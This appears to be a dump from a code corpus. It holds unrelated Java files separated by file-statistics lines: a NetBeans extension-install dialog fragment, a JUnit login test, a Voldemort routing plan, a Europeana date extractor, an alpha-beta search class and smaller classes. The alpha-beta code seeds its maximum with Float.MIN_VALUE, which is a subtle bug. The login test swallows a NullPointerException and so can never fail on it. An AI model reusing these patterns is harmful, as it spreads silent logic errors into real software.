continueButton.getAccessibleContext().setAccessibleName(NbBundle. getMessage(ChromeExtensionManager.class, "ACSN_Continue")); // NOI18N continueButton.getAccessibleContext().setAccessibleDescription(NbBundle. getMessage(ChromeExtensionManager.class, "ACSD_Continue")); // NOI18N DialogDescriptor descriptor = new DialogDescriptor( new ChromeInfoPanel(path, currentStatus), NbBundle.getMessage(ChromeExtensionManager.class, currentStatus == ExtensionManager.ExtensitionStatus.NEEDS_UPGRADE ? "TTL_UpdateExtension" : "TTL_InstallExtension"), true, new Object[]{continueButton, DialogDescriptor.CANCEL_OPTION}, continueButton, DialogDescriptor.DEFAULT_ALIGN, null, null); InstallInfoReceiver receiver = new InstallInfoReceiver(); ExternalBrowserPlugin.getInstance().addMessageListener(receiver); while (true) { Object result = DialogDisplayer.getDefault().notify(descriptor); if (result == continueButton) { if ( receiver.isInstalled() ){ return true; } ExtensitionStatus status = isInstalled(); if (status == ExtensitionStatus.INSTALLED){ return true; } } else { return false; } } } private boolean alertGoogleWebStore( ExtensionManager.ExtensitionStatus currentStatus) { // #221325 if (currentStatus == ExtensionManager.ExtensitionStatus.MISSING) { return alertGoogleWebStoreInstall(currentStatus); } // update return alertGoogleWebStoreUpdate(currentStatus); } private boolean alertGoogleWebStoreInstall(final ExtensionManager.ExtensitionStatus currentStatus) { final File extensionFile = InstalledFileLocator.getDefault().locate( EXTENSION_PATH,PLUGIN_MODULE_NAME, false); String path=""; try { path = extensionFile.getParentFile().toURI().toURL().toExternalForm(); } catch( MalformedURLException e ){ Logger.getLogger(ChromeExtensionManager.class.getName()).log( Level.WARNING, null, e); } final Dialog[] dialogs = new Dialog[1]; final boolean result[] = new boolean[1]; DialogDescriptor descriptor = new DialogDescriptor( new WebStorePanel(false, path, new Runnable() { @Override public void run() { InstallInfoReceiver receiver = new InstallInfoReceiver(); ExternalBrowserPlugin.getInstance(). addMessageListener(receiver); try { // #228605 openInProperBrowser(URI.create(PLUGIN_PAGE).toURL()); } catch( MalformedURLException e ){ Logger.getLogger(ChromeExtensionManager.class.getName()).log( Level.WARNING, null, e); } dialogs[0].setVisible(false); dialogs[0].dispose(); result[0] = createReRun(currentStatus, extensionFile, receiver); } private void openInProperBrowser(URL url) { for (WebBrowser browser : WebBrowsers.getInstance().getAll(true, true, true)) { if (browser.hasNetBeansIntegration()) { // ignore it otherwise it will check the extension status and reopen just the same dialog continue; } if (browser.getBrowserFamily() == getBrowserFamilyId()) { browser.createNewBrowserPane().showURL(url); return; } } // fallback HtmlBrowser.URLDisplayer.getDefault().showURL(url); } }, new Runnable() { @Override public void run() { dialogs[0].setVisible(false); dialogs[0].dispose(); result[0] = manualInstallPluginDialog(currentStatus, extensionFile); } }), NbBundle.getMessage(ChromeExtensionManager.class, "TTL_InstallExtension"), true, new Object[]{DialogDescriptor.CANCEL_OPTION}, DialogDescriptor.CANCEL_OPTION, DialogDescriptor.DEFAULT_ALIGN, null, null); Dialog dialog = DialogDisplayer.getDefault().createDialog(descriptor); dialogs[0] = dialog; dialog.setVisible(true); return result[0]; } private boolean createReRun(final ExtensionManager.ExtensitionStatus currentStatus, final File extensionFile, final InstallInfoReceiver receiver) { final Dialog[] dialogs = new Dialog[1]; final boolean result[] = new boolean[1]; DialogDescriptor descriptor = new DialogDescriptor( new WebStorePanel(true, null, new Runnable() { @Override public void run() { ExtensitionStatus status = isInstalled(); if ( receiver.isInstalled() || status== ExtensitionStatus.INSTALLED) { result[0] = true; dialogs[0].setVisible(false); dialogs[0].dispose(); } } }, new Runnable() { @Override public void run() { dialogs[0].setVisible(false); dialogs[0].dispose(); result[0] = manualInstallPluginDialog(currentStatus, extensionFile); } }), NbBundle.getMessage(ChromeExtensionManager.class, "TTL_InstallExtension"), true, new Object[]{DialogDescriptor.CANCEL_OPTION}, DialogDescriptor.CANCEL_OPTION, DialogDescriptor.DEFAULT_ALIGN, null, null); Dialog dialog = DialogDisplayer.getDefault().createDialog(descriptor); dialogs[0] = dialog; dialog.setVisible(true); return result[0]; } private boolean alertGoogleWebStoreUpdate( final ExtensionManager.ExtensitionStatus currentStatus) { final Dialog[] dialogs = new Dialog[1]; final boolean[] result = new boolean[1]; DialogDescriptor descriptor = new DialogDescriptor( new WebStorePanel( new Runnable() { @Override public void run() { ExtensitionStatus status = isInstalled(); if ( status!= ExtensitionStatus.INSTALLED){ return; } result[0] = true; dialogs[0].setVisible(false); dialogs[0].dispose(); } } ), NbBundle.getMessage(ChromeExtensionManager.class, "TTL_UpdateExtension"), true, new Object[]{DialogDescriptor.CANCEL_OPTION}, DialogDescriptor.CANCEL_OPTION, DialogDescriptor.DEFAULT_ALIGN, null, null); Dialog dialog = DialogDisplayer.getDefault().createDialog(descriptor); dialogs[0] = dialog; dialog.setVisible( true); return result[0]; } private static class FileFinder implements FileFilter { FileFinder(String name){ this( name, false ); } FileFinder(String name , boolean caseSensitive ){ myName = name; isCaseSensitive = caseSensitive; } /* (non-Javadoc) * @see java.io.FileFilter#accept(java.io.File) */ @Override public boolean accept( File file ) { if ( isCaseSensitive ){ return file.getName().equals( myName); } else { return file.getName().toLowerCase(Locale.US).equals( myName); } } private String myName; private boolean isCaseSensitive; } } static class InstallInfoReceiver implements MessageListener { /* (non-Javadoc) * @see org.netbeans.modules.extbrowser.plugins.MessageListener#messageReceived(org.netbeans.modules.extbrowser.plugins.Message) */ @Override public void messageReceived( Message message ) { if ( message.getType()==MessageType.READY){ isInstalled = true; } } public boolean isInstalled(){ return isInstalled; } private volatile boolean isInstalled; } }
45.504902
153
0.520055
33344ca7ef322ff06ce21e01c43e68b24e6eecef
384
package Screens.Login; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.*; public class LoginTest { Login login; @Before public void start(){ login = new Login(); } @Test public void loginUser() throws Exception { try{ login.loginUser(); }catch (NullPointerException e){ } } }
16
46
0.59375
e1e32544090d85fe9d42e0ea579e7d504368f558
647
package com.team6378.thanu.frcmanager; import java.util.ArrayList; public class Tournament { private ArrayList<Team> teams; private String name; private ArrayList<RobotImage> robotImages; public Tournament(String name){ teams = new ArrayList<>(); robotImages = new ArrayList<>(); this.name = name; } public ArrayList<Team> getTeams(){ return teams; } public ArrayList<RobotImage> getRobotImages() { return robotImages; } public String getTournamentName(){ return name; } public void changeTournamentName(String s){ name = s; } }
18.485714
51
0.632148
e77799ad7ba94deb70a6aea0446e52fb680d01e9
2,971
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.jetspeed.portlets.security; /** * Common resources used by Security Portlets * * @author <a href="mailto:taylor@apache.org">David Sean Taylor</a> * @version $Id: SecurityResources.java 348264 2005-11-22 22:06:45Z taylor $ */ public interface SecurityResources { public final static String CURRENT_USER = "current_user"; public final static String PAM_CURRENT_USER = "org.apache.jetspeed.pam.user"; public final static String REQUEST_SELECT_USER = "select_user"; public final static String PORTLET_URL = "portlet_url"; public final static String REQUEST_SELECT_PORTLET = "select_portlet"; public final static String REQUEST_SELECT_TAB = "selected_tab"; public final static String PORTLET_ACTION = "portlet_action"; // Message Topics public final static String TOPIC_USERS = "users"; public final static String TOPIC_USER = "user"; public final static String TOPIC_GROUPS = "groups"; public final static String TOPIC_GROUP = "group"; public final static String TOPIC_ROLES = "roles"; public final static String TOPIC_ROLE = "role"; public final static String TOPIC_PROFILES = "profiles"; /** Messages **/ public static final String MESSAGE_SELECTED = "selected"; public static final String MESSAGE_CHANGED = "changed"; public static final String MESSAGE_STATUS = "status"; public static final String MESSAGE_REFRESH = "refresh"; public static final String MESSAGE_FILTERED = "filtered"; public static final String MESSAGE_REFRESH_PROFILES = "refresh.profiles"; public static final String MESSAGE_REFRESH_ROLES = "refresh.roles"; public static final String MESSAGE_REFRESH_GROUPS = "refresh.groups"; public static final String MESSAGE_REFRESH_SUBSITES = "refresh.subsites"; /** the selected non-leaf node in the tree view */ public final static String REQUEST_NODE = "node"; /** the selected leaf node in the tree view */ public final static String REQUEST_SELECT_NODE = "select_node"; /** The Error Messages KEY */ public static final String ERROR_MESSAGES = "errorMessages"; }
45.707692
81
0.734769
a968d6171dbf0941ec21e1c4b6666c76b641bb03
180
package com.billybyte.dse.outputs; public class InTheMoneyAmtDerSen extends AbstractSensitivityType{ @Override public String getString() { return "IN_THE_MONEY_AMOUNT"; } }
18
65
0.794444
558bd2cea9af0cf24002801ec3989d0a2d8bb256
2,373
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package opennlp.maxent; import opennlp.model.AbstractEventStream; import opennlp.model.Event; import opennlp.model.EventStream; import opennlp.model.RealValueFileEventStream; public class RealBasicEventStream extends AbstractEventStream { ContextGenerator cg = new BasicContextGenerator(); DataStream ds; Event next; public RealBasicEventStream(DataStream ds) { this.ds = ds; if (this.ds.hasNext()) next = createEvent((String)this.ds.nextToken()); } public Event next() { while (next == null && this.ds.hasNext()) next = createEvent((String)this.ds.nextToken()); Event current = next; if (this.ds.hasNext()) { next = createEvent((String)this.ds.nextToken()); } else { next = null; } return current; } public boolean hasNext() { while (next == null && ds.hasNext()) next = createEvent((String)ds.nextToken()); return next != null; } private Event createEvent(String obs) { int lastSpace = obs.lastIndexOf(' '); if (lastSpace == -1) return null; else { String[] contexts = obs.substring(0,lastSpace).split("\\s+"); float[] values = RealValueFileEventStream.parseContexts(contexts); return new Event(obs.substring(lastSpace+1),contexts,values); } } public static void main(String[] args) throws java.io.IOException { EventStream es = new RealBasicEventStream(new PlainTextByLineDataStream(new java.io.FileReader(args[0]))); while (es.hasNext()) { System.out.println(es.next()); } } }
30.818182
110
0.69153
4234896fb887f75ef07a7d05dc8b14c1b214d11a
575
package com.lebogang.zapperdisplay.database; import androidx.room.ColumnInfo; import androidx.room.Entity; import androidx.room.PrimaryKey; @Entity(tableName = "entries") public class DataEntry { @PrimaryKey(autoGenerate = true) private int id; @ColumnInfo(name = "name") private String name; //Constructor for adding a task to the Database public DataEntry(int id, String name) { this.id = id; this.name = name; } public int getId() { return id; } public String getName(){ return name; } }
18.548387
51
0.648696
a80873c4584a05e5bbcc0db874b40ef4e7616121
1,782
package AlphaBeta; import Game.Move; import Game.State; public abstract class AlphaBetaEngine { public static final boolean DEBUG = true; public abstract float positionEvaluation(State state); public abstract Move[] possibleMoves(State state); public abstract boolean reachedMaxDepth(State state, Integer depth); public abstract State applyMove(State state, Move move); public class NextMove { public float value; public Move move; public NextMove next; } protected NextMove alphabeta(int depth, State state, float alpha, float beta, boolean isMax) { if(reachedMaxDepth(state, depth)) { NextMove nextMove = new NextMove(); nextMove.value = positionEvaluation(state); return nextMove; } Move[] moves = possibleMoves(state); NextMove best = new NextMove(); best.value = isMax ? Float.MIN_VALUE : Float.MAX_VALUE; for (int i=0; i < moves.length; i++) { NextMove val = alphabeta(depth-1, applyMove(state, moves[i]), alpha, beta, !isMax); if(isMax && val.value > best.value) { best.value = val.value; best.move = moves[i]; best.next = val; if(val.value > alpha) alpha = val.value; } else if(!isMax && val.value < best.value) { best.value = val.value; best.move = moves[i]; best.next = val; if(val.value < beta) beta = val.value; } // Prune Check if(isMax && best.value > beta) { break; } else if(!isMax && best.value < alpha) { break; } } return best; } }
28.741935
98
0.554433
1397ddc78e8be24076bc9bb7f9679bc7b77d9cce
6,562
/* * Copyright 2013 LinkedIn, Inc * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ package voldemort.routing; import java.util.List; import voldemort.VoldemortException; import voldemort.cluster.Cluster; import voldemort.cluster.Node; import voldemort.store.StoreDefinition; import voldemort.utils.ByteUtils; import voldemort.utils.Utils; /** * This class wraps up a Cluster object and a StoreDefinition. The methods are * effectively helper or util style methods for querying the routing plan that * will be generated for a given routing strategy upon store and cluster * topology information. * * This object may be constructed in the fast path (e.g., during proxy'ing) and * so this object must be fast/simple to construct. Invocations of getters to * find replica lists and n-aries can be O(number of replicas). * * The intermingling of key-based interfaces and partition-based interfaces is * ugly in this class. Partition-based interfaces should be in an underlying * class and then key-based interfaces should wrap those up. Or, all of these * types of class should implement the getMasterPartition(byte[]) interface from * RoutingStrategy. Then the caller always does translation from key to * partition ID, and the *StoreRouting* classes only offer partition-based * interfaces. */ // TODO: Should find a better name for this class. Need to do same for what is // currently StoreRoutingPlan. Suggestions thus far for this class: // ProxyRoutingPlan, ProxyStoreRouter, SimpleStoreRouter, ... public class BaseStoreRoutingPlan { private final Cluster cluster; private final StoreDefinition storeDefinition; private final RoutingStrategy routingStrategy; public BaseStoreRoutingPlan(Cluster cluster, StoreDefinition storeDefinition) { this.cluster = cluster; this.storeDefinition = storeDefinition; this.routingStrategy = new RoutingStrategyFactory().updateRoutingStrategy(storeDefinition, cluster); } public Cluster getCluster() { return cluster; } public StoreDefinition getStoreDefinition() { return storeDefinition; } /** * Determines master partition ID for the key. * * @param key * @return master parition id */ public int getMasterPartitionId(final byte[] key) { return this.routingStrategy.getMasterPartition(key); } /** * Given a key that belong to a given node, returns a number n (< zone * replication factor), such that the given node holds the key as the nth * replica of the given zone * * eg: if the method returns 1, then given node hosts the key as the zone * secondary in the given zone * * @param zoneId * @param nodeId * @param key * @return zone n-ary level for key hosted on node id in zone id. */ // TODO: add unit test. public int getZoneNAry(int zoneId, int nodeId, byte[] key) { if(cluster.getNodeById(nodeId).getZoneId() != zoneId) { throw new VoldemortException("Node " + nodeId + " is not in zone " + zoneId + "! The node is in zone " + cluster.getNodeById(nodeId).getZoneId()); } List<Node> replicatingNodes = this.routingStrategy.routeRequest(key); int zoneNAry = -1; for(Node node: replicatingNodes) { // bump up the replica number once you encounter a node in the given // zone if(node.getZoneId() == zoneId) { zoneNAry++; } // we are done when we find the given node if(node.getId() == nodeId) { return zoneNAry; } } if(zoneNAry > -1) { throw new VoldemortException("Node " + nodeId + " not a replica for the key " + ByteUtils.toHexString(key) + " in given zone " + zoneId); } else { throw new VoldemortException("Could not find any replicas for the key " + ByteUtils.toHexString(key) + " in given zone " + zoneId); } } /** * Given a key and a zoneNary (< zone replication factor), figure out the * node that contains the key as the nth replica in the given zone. * * @param zoneId * @param zoneNary * @param key * @return node id that hosts zone n-ary replica for the key */ // TODO: add unit test. public int getNodeIdForZoneNary(int zoneId, int zoneNary, byte[] key) { List<Node> replicatingNodes = this.routingStrategy.routeRequest(key); int zoneNAry = -1; for(Node node: replicatingNodes) { // bump up the counter if we encounter a replica in the given zone; // return current node if counter now matches requested if(node.getZoneId() == zoneId) { zoneNAry++; if(zoneNAry == zoneNary) { return node.getId(); } } } if(zoneNAry == -1) { throw new VoldemortException("Could not find any replicas for the key " + ByteUtils.toHexString(key) + " in given zone " + zoneId); } else { throw new VoldemortException("Could not find " + (zoneNary + 1) + " replicas for the key " + ByteUtils.toHexString(key) + " in given zone " + zoneId + ". Only found " + (zoneNAry + 1)); } } /** * Determines the list of nodes that the key replicates to * * @param key * @return list of nodes that key replicates to */ public List<Integer> getReplicationNodeList(final byte[] key) { return Utils.nodeListToNodeIdList(this.routingStrategy.routeRequest(key)); } }
38.828402
100
0.617342
cac0b615ed31d616cfae6d2b465bf53a15ecf059
420
package lark.util.cache; import lark.core.lang.ProcessHandle; /** * @author andy */ public interface LockService { /** * 分布式锁实现 * @param lockKey 锁名称 * @param waitLockSeconds 等待锁时间 * @param autoUnlockSeconds 自动释放锁时间 * @param handle 业务处理 * @param <T> 返回值 * @return */ <T> T tryLock(String lockKey, int waitLockSeconds, int autoUnlockSeconds, ProcessHandle<T> handle); }
21
103
0.647619
e58a9657499390fa74434d4638e047cdf67e7b79
15,258
package europeana.rnd.dataprocessing.dates; import java.io.File; import java.io.IOException; import java.io.Writer; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.HashMap; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.apache.commons.io.output.FileWriterWithEncoding; import org.apache.commons.lang3.StringUtils; import europeana.rnd.dataprocessing.dates.DatesInRecord.DateValue; import europeana.rnd.dataprocessing.dates.edtf.Date; import europeana.rnd.dataprocessing.dates.edtf.EdtfValidator; import europeana.rnd.dataprocessing.dates.edtf.Instant; import europeana.rnd.dataprocessing.dates.edtf.Interval; import europeana.rnd.dataprocessing.dates.edtf.TemporalEntity; import europeana.rnd.dataprocessing.dates.extraction.CleanId; import europeana.rnd.dataprocessing.dates.extraction.Cleaner; import europeana.rnd.dataprocessing.dates.extraction.DateExtractor; import europeana.rnd.dataprocessing.dates.extraction.DcmiPeriodExtractor; import europeana.rnd.dataprocessing.dates.extraction.Match; import europeana.rnd.dataprocessing.dates.extraction.MatchId; import europeana.rnd.dataprocessing.dates.extraction.PatternBcAd; import europeana.rnd.dataprocessing.dates.extraction.PatternBriefDateRange; import europeana.rnd.dataprocessing.dates.extraction.PatternCentury; import europeana.rnd.dataprocessing.dates.extraction.PatternDateExtractorYyyyMmDdSpaces; import europeana.rnd.dataprocessing.dates.extraction.PatternDecade; import europeana.rnd.dataprocessing.dates.extraction.PatternEdtf; import europeana.rnd.dataprocessing.dates.extraction.PatternFormatedFullDate; import europeana.rnd.dataprocessing.dates.extraction.PatternLongNegativeYear; import europeana.rnd.dataprocessing.dates.extraction.PatternMonthName; import europeana.rnd.dataprocessing.dates.extraction.PatternNumericDateExtractorWithMissingParts; import europeana.rnd.dataprocessing.dates.extraction.PatternNumericDateExtractorWithMissingPartsAndXx; import europeana.rnd.dataprocessing.dates.extraction.PatternNumericDateRangeExtractorWithMissingParts; import europeana.rnd.dataprocessing.dates.extraction.PatternNumericDateRangeExtractorWithMissingPartsAndXx; import europeana.rnd.dataprocessing.dates.extraction.Cleaner.CleanResult; import europeana.rnd.dataprocessing.dates.extraction.trash.PatternDateExtractorDdMmYyyy; import europeana.rnd.dataprocessing.dates.extraction.trash.PatternDateExtractorYyyy; import europeana.rnd.dataprocessing.dates.extraction.trash.PatternDateExtractorYyyyMm; import europeana.rnd.dataprocessing.dates.extraction.trash.PatternDateRangeExtractorYyyy; import europeana.rnd.dataprocessing.dates.extraction.trash.PatternIso8601Date; import europeana.rnd.dataprocessing.dates.extraction.trash.PatternIso8601DateRange; import europeana.rnd.dataprocessing.dates.stats.DateExtractionStatistics; import europeana.rnd.dataprocessing.dates.stats.HtmlExporter; import europeana.rnd.dataprocessing.dates.stats.NoMatchSampling; public class DatesExtractorHandler { File outputFolder; DateExtractionStatistics stats=new DateExtractionStatistics(); DateExtractionStatistics statsSubjectCoverage=new DateExtractionStatistics(); NoMatchSampling noMatchSampling=new NoMatchSampling(); static Cleaner cleaner=new Cleaner(); static ArrayList<DateExtractor> extractors=new ArrayList<DateExtractor>() {{ // add(new PatternDateExtractorYyyy()); add(new PatternBriefDateRange()); add(new PatternEdtf()); add(new PatternDateExtractorYyyyMmDdSpaces()); // add(new PatternDateExtractorDdMmYyyy()); // add(new PatternDateRangeExtractorYyyy()); add(new PatternCentury()); add(new PatternDecade()); add(new DcmiPeriodExtractor()); add(new PatternMonthName()); add(new PatternFormatedFullDate()); // add(new PatternDateExtractorYyyyMm()); add(new PatternNumericDateExtractorWithMissingParts()); add(new PatternNumericDateExtractorWithMissingPartsAndXx()); add(new PatternNumericDateRangeExtractorWithMissingParts()); add(new PatternNumericDateRangeExtractorWithMissingPartsAndXx()); // add(new PatternIso8601Date(false)); // add(new PatternIso8601DateRange(false)); add(new PatternBcAd()); add(new PatternLongNegativeYear()); }}; static ArrayList<Class> extractorsExcludedForGenericProperties=new ArrayList<Class>() {{ add(PatternBriefDateRange.class); }}; // static ArrayList<DateExtractor> extractorsGenericProperties=new ArrayList<DateExtractor>() {{ // add(new PatternEdtf()); // add(new PatternDateExtractorYyyyMmDdSpaces()); // add(new DcmiPeriodExtractor()); // add(new PatternMonthName()); // add(new PatternFormatedFullDate()); // add(new PatternNumericDateExtractorWithMissingParts()); // add(new PatternNumericDateExtractorWithMissingPartsAndXx()); // add(new PatternNumericDateRangeExtractorWithMissingParts()); // add(new PatternNumericDateRangeExtractorWithMissingPartsAndXx()); // add(new PatternLongNegativeYear()); // }}; public DatesExtractorHandler(File outputFolder) { this.outputFolder = outputFolder; } public DatesExtractorHandler() { } public static void runDateNormalization(DatesInRecord rec) throws Exception { for(DateValue dateValue: rec.getAllValuesDetailed(Source.ANY)) { try { Match extracted=null; if(dateValue.property.equals("coverage") || dateValue.property.equals("subject")) { extracted=runDateNormalizationOnGenericProperty(dateValue.match.getInput()); if(extracted.getMatchId()!=MatchId.NO_MATCH) { if(!EdtfValidator.validate(extracted.getExtracted(), false)) extracted.setMatchId(MatchId.INVALID); } } else { extracted=runDateNormalization(dateValue.match.getInput(), true); if(extracted.getMatchId()!=MatchId.NO_MATCH) { if(!EdtfValidator.validate(extracted.getExtracted(), false)) { if(extracted.getExtracted() instanceof Interval) { //lets try to invert the start and end dates and see if it validates Interval i=(Interval)extracted.getExtracted(); Instant start = i.getStart(); i.setStart(i.getEnd()); i.setEnd(start); if(!EdtfValidator.validate(extracted.getExtracted(), false)) { i.setEnd(i.getStart()); i.setStart(start); extracted.setMatchId(MatchId.INVALID); } } else extracted.setMatchId(MatchId.INVALID); } if(extracted.getMatchId()!=MatchId.NO_MATCH && extracted.getMatchId()!=MatchId.INVALID) { if(extracted.getExtracted().isTimeOnly()) extracted.setMatchId(MatchId.NO_MATCH); } } } dateValue.match.setResult(extracted); } catch (Exception e) { System.err.println("Error in value: "+dateValue.match.getInput()); e.printStackTrace(); dateValue.match.setResult(new Match(MatchId.NO_MATCH, dateValue.match.getInput(), null)); } } } public static Match runDateNormalization(String val, boolean validateAndFix) throws Exception { String valTrim=val.trim(); valTrim=valTrim.replace('\u00a0', ' '); //replace non-breaking spaces by normal spaces valTrim=valTrim.replace('\u2013', '-'); //replace en dash by normal dash Match extracted=null; for(DateExtractor extractor: extractors) { extracted = extractor.extract(valTrim); if (extracted!=null) break; } if(extracted==null) { //Trying patterns after cleaning CleanResult cleanResult = cleaner.clean1st(valTrim); if (cleanResult!=null && !StringUtils.isEmpty(cleanResult.getCleanedValue())) { for(DateExtractor extractor: extractors) { extracted = extractor.extract(cleanResult.getCleanedValue()); if (extracted!=null) { extracted.setCleanOperation(cleanResult.getCleanOperation()); break; } } } } if(extracted==null) { //Trying patterns after cleaning CleanResult cleanResult = cleaner.clean2nd(valTrim); if (cleanResult!=null && !StringUtils.isEmpty(cleanResult.getCleanedValue())) { for(DateExtractor extractor: extractors) { extracted = extractor.extract(cleanResult.getCleanedValue()); if (extracted!=null) { extracted.setCleanOperation(cleanResult.getCleanOperation()); break; } } } } if(extracted==null) return new Match(MatchId.NO_MATCH, val, null); else extracted.setInput(val); if(extracted.getCleanOperation()!=null) { if(extracted.getCleanOperation()==CleanId.CIRCA) { extracted.getExtracted().setApproximate(true); } else if(extracted.getCleanOperation()==CleanId.SQUARE_BRACKETS) { extracted.getExtracted().setUncertain(true); } else if(extracted.getCleanOperation()==CleanId.SQUARE_BRACKETS_AND_CIRCA) { extracted.getExtracted().setUncertain(true); extracted.getExtracted().setApproximate(true); } else if(extracted.getCleanOperation()==CleanId.PARENTHESES_FULL_VALUE_AND_CIRCA) { extracted.getExtracted().setUncertain(true); extracted.getExtracted().setApproximate(true); } else if(extracted.getCleanOperation()==CleanId.PARENTHESES_FULL_VALUE) { extracted.getExtracted().setUncertain(true); } } if(validateAndFix) validateAndFix(extracted); if(extracted.getMatchId()==MatchId.Edtf && extracted.getCleanOperation()!=null) extracted.setMatchId(MatchId.Edtf_Cleaned); return extracted; } public static Match runDateNormalizationOnGenericProperty(String val) throws Exception { String valTrim=val.trim(); valTrim=valTrim.replace('\u00a0', ' '); //replace non-breaking spaces by normal spaces valTrim=valTrim.replace('\u2013', '-'); //replace en dash by normal dash Match extracted=null; for(DateExtractor extractor: extractors) { if(extractorsExcludedForGenericProperties.contains(extractor.getClass())) continue; extracted = extractor.extract(valTrim); if (extracted!=null) break; } if(extracted==null) { //Trying patterns after cleaning CleanResult cleanResult = cleaner.cleanGenericProperty(valTrim); if (cleanResult!=null && !StringUtils.isEmpty(cleanResult.getCleanedValue())) { for(DateExtractor extractor: extractors) { if(extractorsExcludedForGenericProperties.contains(extractor.getClass())) continue; extracted = extractor.extract(cleanResult.getCleanedValue()); if (extracted!=null) { extracted.setCleanOperation(cleanResult.getCleanOperation()); break; } } } } if(extracted==null || !extracted.isCompleteDate()) return new Match(MatchId.NO_MATCH, val, null); else extracted.setInput(val); if(extracted.getCleanOperation()!=null) { if(extracted.getCleanOperation()==CleanId.CIRCA) { extracted.getExtracted().setApproximate(true); } else if(extracted.getCleanOperation()==CleanId.SQUARE_BRACKETS) { extracted.getExtracted().setUncertain(true); } else if(extracted.getCleanOperation()==CleanId.SQUARE_BRACKETS_AND_CIRCA) { extracted.getExtracted().setUncertain(true); extracted.getExtracted().setApproximate(true); } } if(extracted.getMatchId()==MatchId.Edtf && extracted.getCleanOperation()!=null) { extracted.setMatchId(MatchId.Edtf_Cleaned); } return extracted; } private static void validateAndFix(Match extracted) { boolean trySwitchDayMonth=true; if(extracted.getMatchId()!=MatchId.NO_MATCH) { if(!EdtfValidator.validate(extracted.getExtracted(), false)) { if(extracted.getExtracted() instanceof Interval) { //lets try to invert the start and end dates and see if it validates Interval i=(Interval)extracted.getExtracted(); Instant start = i.getStart(); i.setStart(i.getEnd()); i.setEnd(start); if(!EdtfValidator.validate(extracted.getExtracted(), false)) { i.setEnd(i.getStart()); i.setStart(start); if(trySwitchDayMonth) { TemporalEntity copy = extracted.getExtracted().copy(); copy.switchDayMonth(); if(!EdtfValidator.validate(copy, false)) { extracted.setMatchId(MatchId.INVALID); } else extracted.setExtracted(copy); }else extracted.setMatchId(MatchId.INVALID); } } else { if(trySwitchDayMonth) { TemporalEntity copy = extracted.getExtracted().copy(); copy.switchDayMonth(); if(!EdtfValidator.validate(copy, false)) { extracted.setMatchId(MatchId.INVALID); } else extracted.setExtracted(copy); }else extracted.setMatchId(MatchId.INVALID); } } if(extracted.getMatchId()!=MatchId.NO_MATCH && extracted.getMatchId()!=MatchId.INVALID) { if(extracted.getExtracted().isTimeOnly()) extracted.setMatchId(MatchId.NO_MATCH); } } } public void handle(DatesInRecord rec) throws Exception { runDateNormalization(rec); for(DateValue match: rec.getAllValuesDetailed(Source.PROVIDER)) handleResult(rec.getChoUri(), Source.PROVIDER, match); for(DateValue match: rec.getAllValuesDetailed(Source.EUROPEANA)) handleResult(rec.getChoUri(), Source.EUROPEANA, match); } private void handleResult(String choUri, Source source, DateValue dateValue) { try { if(dateValue.property.equals("coverage") || dateValue.property.equals("subject")) { statsSubjectCoverage.add(choUri, source, dateValue); } else { stats.add(choUri, source, dateValue); Writer wrt=getWriterForMatch(dateValue.match.getMatchId()); wrt.write(escape(dateValue.match.getInput())); if(dateValue.match.getExtracted()!=null) { wrt.write(","); wrt.write(escape(dateValue.match.getExtracted().serialize())); } wrt.write("\n"); if(dateValue.match.getMatchId()==MatchId.NO_MATCH) noMatchSampling.add(dateValue.match); } } catch (IOException e) { throw new RuntimeException(e.getMessage(), e); } } Pattern patternEscape=Pattern.compile("\""); private String escape(String val) { return "\""+patternEscape.matcher(val).replaceAll("\\\"")+"\""; } private HashMap<MatchId, Writer> writers=new HashMap<MatchId, Writer>(); private Writer getWriterForMatch(MatchId matchID) { try { Writer wrt = writers.get(matchID); if(wrt==null) { wrt=new FileWriterWithEncoding(new File(outputFolder, matchID.toString()+".txt"), StandardCharsets.UTF_8); writers.put(matchID, wrt); } return wrt; } catch (IOException e) { throw new RuntimeException(e.getMessage(), e); } } public void close() { try { for(Writer a: writers.values()) a.close(); stats.save(outputFolder); File covSubToFolder = new File(outputFolder, "coverage-subject"); if(!covSubToFolder.exists()) covSubToFolder.mkdir(); statsSubjectCoverage.save(covSubToFolder); HtmlExporter.export(stats, statsSubjectCoverage, outputFolder); File outNoMatchSampling=new File(outputFolder, "no-match-samples.csv"); noMatchSampling.save(outNoMatchSampling); } catch (IOException e) { throw new RuntimeException(e.getMessage(), e); } } }
40.906166
111
0.728667
bcf2d54f06df2a7eafdbf9817937667dc13ba01c
477
package seedu.address.model.person.predicates; import java.util.function.Predicate; import seedu.address.model.person.Person; public class PersonIsPaidPredicate implements Predicate<Person> { @Override public boolean test(Person person) { return !person.isPaid(); } @Override public boolean equals(Object other) { return other == this // short circuit if same object || (other instanceof PersonIsPaidPredicate); } }
23.85
65
0.69392
a5618703601100d9deb89646c4987eafccd22cd9
1,287
